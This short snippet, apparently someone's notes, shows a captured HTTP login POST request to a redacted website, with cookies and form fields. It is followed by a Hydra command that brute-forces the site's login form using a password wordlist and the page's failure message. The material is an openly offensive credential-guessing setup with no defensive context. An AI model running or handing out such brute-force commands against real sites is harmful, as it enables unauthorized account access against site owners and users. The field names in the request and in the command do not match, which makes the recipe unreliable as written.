POST /login.php?action=in HTTP/1.1
Host: xxxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://xxxxxx.com/login.php
Cookie: visidincap526178=dBiizl5bQzKldS2WdMrM/ArT6VYAAAAAQUIPAAAAAAB6g3H+O0+VIC6UaHfrwDzi;
visidincap821436=nmDb/MkQTXm2VsdHkiWxuzYCN1cAAAAAQUIPAA
AAAADrVUYTxunztOfbWaA78Xgm; _ga=GA1.2.242869812.1465591208
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

formsent=1&redirecturl=index.php&requsername=blop&reqpassword=

blop&login=Login

hydra -l yyyyy -P cygwin64/john.txt http://www.xxxxxx.com https-post-form "/login.php:req_username=^USER^&req_password=^PASS^&login=Login:Wrong username and/or password." -V